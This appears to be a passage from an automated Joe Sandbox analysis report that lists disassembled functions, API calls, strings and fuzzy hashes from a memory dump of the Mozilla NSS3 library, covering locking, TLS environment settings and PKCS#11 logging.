Part of subcall function 6C741940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C74563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C74195C
Part of subcall function 6C741940: EnterCriticalSection.KERNEL32(?,?,6C74563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C71EAC5,00000001), ref: 6C741970
Part of subcall function 6C741940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C71EAC5,00000001,?,6C71CE9B,00000001,6C71EAC5), ref: 6C7419A0

PL_FreeArenaPool.NSS3(?), ref: 6C72A067
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C72A055

Part of subcall function 6C684C70: TlsGetValue.KERNEL32(?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684C97
Part of subcall function 6C684C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CB0
Part of subcall function 6C684C70: PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72A07E
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C72A0B1
PL_FreeArenaPool.NSS3(?), ref: 6C72A0C7
PL_FinishArenaPool.NSS3(?), ref: 6C72A0CF
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C72A12E
PL_FreeArenaPool.NSS3(?), ref: 6C72A140
PL_FinishArenaPool.NSS3(?), ref: 6C72A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72A158
PL_FinishArenaPool.NSS3(?), ref: 6C72A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C72A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C72A1B2
free.MOZGLUE(00000000), ref: 6C72A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C72A1D6

Part of subcall function 6C7455E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C71EAC5,00000001,?,6C71CE9B,00000001,6C71EAC5,00000003,-00000004,00000000,?,6C71EAC5), ref: 6C745627
Part of subcall function 6C7455E0: PR_CallOnce.NSS3(6C862AA4,6C7612D0,?,?,?,?,?,?,?,?,?,?,6C71EAC5,00000001,?,6C71CE9B), ref: 6C74564F
Part of subcall function 6C7455E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C71EAC5,00000001), ref: 6C745661
Part of subcall function 6C7455E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C71EAC5), ref: 6C7456AF

Strings

security, xrefs: 6C72A00F

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 7c5ea18f8b2eceaccda2e83d16c2abe5a7a581e4b0ac2f94994206a362a78d2a
Instruction ID: 1620236d9b8a0839a4283a5213d079e2d61476764bc2ebf6729e53b663de702d
Opcode Fuzzy Hash: 7c5ea18f8b2eceaccda2e83d16c2abe5a7a581e4b0ac2f94994206a362a78d2a
Instruction Fuzzy Hash: FC512AB1E00205ABEB109BA5DF4CBAEB379AF4576CF104034E805AAB41F779D609C792

Function 6C744C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C744C4C
EnterCriticalSection.KERNEL32(?), ref: 6C744C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C744CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C744CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C744CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C744D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C744D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C744DB7

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

TlsGetValue.KERNEL32 ref: 6C744DD7
EnterCriticalSection.KERNEL32(?), ref: 6C744DEC
PR_Unlock.NSS3(?), ref: 6C744E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C744E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C744E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C744E71
free.MOZGLUE(00000000), ref: 6C744E7A
PR_Unlock.NSS3(?), ref: 6C744EA2
TlsGetValue.KERNEL32 ref: 6C744EC1
EnterCriticalSection.KERNEL32(?), ref: 6C744ED6
PR_Unlock.NSS3(?), ref: 6C744F01
free.MOZGLUE(00000000), ref: 6C744F2A

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: ddbc292f4e6ba06b94ce3cbdfb291df7b4b938dc948710057c40906b822d1aa6
Instruction ID: b7453952d36d14c6f3ef9c351b111d2f27e1c8f188b9aa2b2aaa198cd598e68c
Opcode Fuzzy Hash: ddbc292f4e6ba06b94ce3cbdfb291df7b4b938dc948710057c40906b822d1aa6
Instruction Fuzzy Hash: 8BB123B5A002069FDB11EF68D949AAA77B4BF0931CF048134ED1597B01EB34E961EFD2

Function 6C74FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C74FFB4

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C74FFC6

Part of subcall function 6C7C98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C7C9946
Part of subcall function 6C7C98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6816B7,00000000), ref: 6C7C994E
Part of subcall function 6C7C98D0: free.MOZGLUE(00000000), ref: 6C7C995E

PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C74FFD6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C74FFE6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C74FFF6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750006
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750016
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750026
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750036
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750046
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750056
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750066
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750076
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750086
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750096
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C7500A6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C7500B6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C7500C6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C7500D6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C7500E6

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: cab7c0a23c0de3bebc808f919dd6b48dde540dd7d7217340b5499cb146d79ae1
Instruction ID: 3bd386fbaf1eb874b50ec6f93dcce54a888cec56a6c0d0e4750aa6b5330b956a
Opcode Fuzzy Hash: cab7c0a23c0de3bebc808f919dd6b48dde540dd7d7217340b5499cb146d79ae1
Instruction Fuzzy Hash: 9831F1F1F01626DE8BA5DF27828C16A3AF4B726B4CB1061BAD11487750DB7C014ACFD6

Function 6C796E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C796BF7), ref: 6C796EB6

Part of subcall function 6C6F1240: TlsGetValue.KERNEL32(00000040,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1267
Part of subcall function 6C6F1240: EnterCriticalSection.KERNEL32(?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F127C
Part of subcall function 6C6F1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1291
Part of subcall function 6C6F1240: PR_Unlock.NSS3(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C83FC0A,6C796BF7), ref: 6C796ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C796EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C796EFC
PR_NewLock.NSS3 ref: 6C796F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C796F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C796BF7), ref: 6C796F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C796BF7), ref: 6C796F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C796BF7), ref: 6C796FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C796BF7), ref: 6C796FFD

Strings

SSLKEYLOGFILE, xrefs: 6C796EB1
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C796FF8
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C796F4F
SSLFORCELOCKS, xrefs: 6C796F2B
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C796EF7
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C796FDB

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 9b0e442ef13fe34a1a91171820f702f1378e3572e5c9c7af173729bf1f89edd1
Instruction ID: b0dcc9a79554812cf0857b29131c004cd8051b391977c1d62ab5e583000b0569
Opcode Fuzzy Hash: 9b0e442ef13fe34a1a91171820f702f1378e3572e5c9c7af173729bf1f89edd1
Instruction Fuzzy Hash: F8A12BB2A599C087E760863DEE0135432B2AB9332EF588775E931C7ED5DB799440C3CA

Function 6C715DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C715DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C715E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C715E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C715E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C715EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C715ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C715F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C715F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C715F89
free.MOZGLUE(?), ref: 6C715FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C715FB6
free.MOZGLUE(00000000), ref: 6C715FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C71600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C716079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C716084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C716094

Strings

, xrefs: 6C715EEB

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 695986754f6c231ba3fc36c3deff84f383a94ee3e62f1d43996aa69d5fc5d4e6
Instruction ID: b94ccac621357197893be13492317e0f8dcc34067423928a216b2ce39a1021cc
Opcode Fuzzy Hash: 695986754f6c231ba3fc36c3deff84f383a94ee3e62f1d43996aa69d5fc5d4e6
Instruction Fuzzy Hash: E68117B1E082059BDB548E64EE89B9E77B9AF05318F1C4138E819A7F81E731D908CBD1

Function 6C736D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C736D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C736DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C736DC3

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C736DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C736DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C736E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C736E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C736E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C736EB9

Strings

ulDataLen = %d, xrefs: 6C736E0E
pData = 0x%p, xrefs: 6C736DF5
pDigest = 0x%p, xrefs: 6C736E27
hSession = 0x%x, xrefs: 6C736D9E, 6C736DAE
C_Digest, xrefs: 6C736D81
(CK_INVALID_HANDLE), xrefs: 6C736DBC
pulDigestLen = 0x%p, xrefs: 6C736E42
*pulDigestLen = 0x%x, xrefs: 6C736EB4

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 06b9d34c023a35b11c90064add2789638d3fd039590d6dadc22c31a93e92c3fb
Instruction ID: ac4cd96a87c3888e2e0e5bc1269d9067983875434e357b305cc1d7ba469ed869
Opcode Fuzzy Hash: 06b9d34c023a35b11c90064add2789638d3fd039590d6dadc22c31a93e92c3fb
Instruction Fuzzy Hash: E141E635605025AFDB219B55CE4DE6A3BB5BB4230CF046474F8099BB13DB38A958CBD2

Function 6C739C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C739C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C739C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C739CA3

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C739CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C739CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C739CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C739D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C739D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C739D42

Strings

pPin = 0x%p, xrefs: 6C739CF0
ulPinLen = %d, xrefs: 6C739D0B
userType = 0x%x, xrefs: 6C739CD5
pUsername = 0x%p, xrefs: 6C739D24
hSession = 0x%x, xrefs: 6C739C7E, 6C739C8E
C_LoginUser, xrefs: 6C739C61
(CK_INVALID_HANDLE), xrefs: 6C739C9C
ulUsernameLen = %d, xrefs: 6C739D3D

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: 3e5b224960560c18deeabc443af5e71a4859300c018ae191c204348c7976a228
Instruction ID: ed919dd97fa37b5914555c78183de323d5c20778ace3cf8d78d834640f39b5ad
Opcode Fuzzy Hash: 3e5b224960560c18deeabc443af5e71a4859300c018ae191c204348c7976a228
Instruction Fuzzy Hash: 41411631605025ABDB218F55DF4EE6A3BB6AB5230DF446474F40D5BB13CB38A818CBD1

Function 6C6F1FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C6F2007
calloc.MOZGLUE(00000001,00000084), ref: 6C6F2077
calloc.MOZGLUE(00000001,0000002C), ref: 6C6F20DF
TlsSetValue.KERNEL32(00000000), ref: 6C6F2188
PR_NewCondVar.NSS3 ref: 6C6F21B7
calloc.MOZGLUE(00000001,00000084), ref: 6C6F221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6F22C2
GetLastError.KERNEL32 ref: 6C6F22CD
free.MOZGLUE(00000000), ref: 6C6F22DD

Part of subcall function 6C6F0F00: PR_GetPageSize.NSS3(6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F1B
Part of subcall function 6C6F0F00: PR_NewLogModule.NSS3(clock,6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F25

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: a8138db294b7da86dc2cb3fe36737294f26754509e6a116016d3429f18c67132
Instruction ID: d379895d0dae34bc2950ab6e3b32e4948089d03bfc30eeb8eb6a2cb376b6521e
Opcode Fuzzy Hash: a8138db294b7da86dc2cb3fe36737294f26754509e6a116016d3429f18c67132
Instruction Fuzzy Hash: FF919DB56013418FDB60DF39C80976A7BF5BB0A708F00453AE59AD6A41DBB49409CFDA

Function 6C819C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C819C70
PR_NewLock.NSS3 ref: 6C819C85

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PR_NewCondVar.NSS3(00000000), ref: 6C819C96

Part of subcall function 6C6EBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6F21BC), ref: 6C6EBB8C

PR_NewLock.NSS3 ref: 6C819CA9

Part of subcall function 6C7C98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C7C9946
Part of subcall function 6C7C98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6816B7,00000000), ref: 6C7C994E
Part of subcall function 6C7C98D0: free.MOZGLUE(00000000), ref: 6C7C995E

PR_NewLock.NSS3 ref: 6C819CB9
PR_NewLock.NSS3 ref: 6C819CC9
PR_NewCondVar.NSS3(00000000), ref: 6C819CDA

Part of subcall function 6C6EBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6EBBEB
Part of subcall function 6C6EBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C6EBBFB
Part of subcall function 6C6EBB80: GetLastError.KERNEL32 ref: 6C6EBC03
Part of subcall function 6C6EBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C6EBC19
Part of subcall function 6C6EBB80: free.MOZGLUE(00000000), ref: 6C6EBC22

PR_NewCondVar.NSS3(?), ref: 6C819CF0
PR_NewPollableEvent.NSS3 ref: 6C819D03

Part of subcall function 6C80F3B0: PR_CallOnce.NSS3(6C8614B0,6C80F510), ref: 6C80F3E6
Part of subcall function 6C80F3B0: PR_CreateIOLayerStub.NSS3(6C86006C), ref: 6C80F402
Part of subcall function 6C80F3B0: PR_Malloc.NSS3(00000004), ref: 6C80F416
